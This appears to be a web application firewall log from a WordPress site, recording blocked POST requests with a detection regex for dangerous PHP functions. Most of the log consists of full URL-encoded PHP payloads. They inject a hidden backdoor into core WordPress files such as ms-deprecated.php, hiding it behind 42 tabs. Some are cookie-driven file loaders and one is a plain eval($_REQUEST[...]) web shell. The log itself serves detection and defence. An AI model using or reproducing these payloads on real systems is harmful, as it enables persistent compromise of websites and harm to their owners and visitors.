3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvL0DvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-length:3251\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\ncD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:49:38","192.185.131.136","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> yD:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrHDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:3251\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nyD=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:49:53","94.46.170.157","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\ncontent-length:3274\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-dest:document\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 11:50:17","88.135.73.76","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-mode:navigate\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3251\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-fetch-dest:document\n\nWx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/ms-deprecated.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B26%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D10%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B26%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B26%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B10%252B1%253B%257D%2524k%253D%2524p%255B25%255D%2528%2529.%2524p%255B15%255D%253Bif%2528%2521%2524p%255B13%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B14%255D%2528%2524k%252C%2524p%255B27%255D%2529%253B%2524p%255B17%255D%2528%2524n%252C%2524p%255B23%255D.%2524p%255B20%255D%2528%2524p%255B19%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 11:50:37","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gy:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/ms-themes.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527ixfgeU%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 